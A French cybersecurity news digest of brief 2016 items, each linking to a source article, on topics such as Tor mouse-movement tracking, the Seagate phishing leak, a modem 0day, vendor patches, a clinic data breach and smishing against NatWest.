[Brève] Les utilisateurs de TOR peuvent être identifiés grâce au déplacement de leur souris
Des fonctions peuvent enregistrer les mouvements de la souris dans le navigateur. Lors d’une enquête il sera donc possible de comparer ces données avec différents échantillons pour identifier de manière quasi-certaine la machine et donc l'utilisateur.
Source :
http://news.softpedia.com/news/tor-users-can-be-tracked-based-on-their-mouse-movements-501602.shtml

[Brève] Seagate victime de phishing
Les formulaires d’impôt des employés de Seagate ont été exposés après qu’un des salariés de l’entreprise se soit fait piéger par un courriel malveillant.
Source :
http://www.hardocp.com/news/2016/03/07/seagate_phish_exposes_all_employee_w2rsquos#.VuLO5uLhCM8

[Brève] Un 0day permet de lire les SMS et les flux HTTP de certains modems 3G/4G
Source :
http://www.theregister.co.uk/2016/03/11/ruskie_finds_0day_remote_code_exec_holes_in_popular_modems/

[Brève] Cisco corrige des vulnérabilités critiques sur leurs switches Nexus
Ces vulnérabilités permettaient d'accéder à distance à l’appareil avec des droits d’administrateur sans authentification préalable
Source :
http://www.scmagazineuk.com/cisco-patches-critical-vulnerability-that-would-allow-root-user-privileges/article/481286/

[Brève] L’US Air Force possède maintenant deux “cyber-armes” permettant de traquer et d’engager des APT
Source :
http://www.zdnet.com/article/the-us-air-force-now-has-two-fully-operational-cyberspace-weapon-systems/

[Brève] Samsung a poussé une mise à jour urgente pour corriger une vulnérabilité de type Man in the Middle sur ses ordinateurs portables
Source :
https://threatpost.com/samsung-windows-laptop-owners-urged-to-download-fix-to-mitm-vulnerability/116710/

[Brève] Google corrige des vulnérabilités critiques sur Android
Source :
https://threatpost.com/google-fixes-critical-android-mediaserver-bugs-again/116614/

[Brève] Les données des clients d’une clinique, comme leur identité et leurs traitements, ont été volées
Après enquête, il s’est avéré qu’un utilisateur avait réussi à s’introduire dans la base de données.
Source :
http://www.scmagazineuk.com/cancer-clinics-customer-data-stolen/article/481971/

[Brève] Anonymous pirate et fait fuiter la boîte vocale de Donald Trump
Source :
http://politics.slashdot.org/story/16/03/05/2118244/anonymous-hacks-donald-trumps-voicemail-and-leaks-the-messages

[Brève] La banque NatWest souffre de smishing
De plus en plus de banques se font attaquer par smishing, le pendant du phishing par sms.
Source :
http://www.scmagazineuk.com/natwest-online-banking-suffers-sms-smishing-scams/article/481378/

Laurent LAJUGIE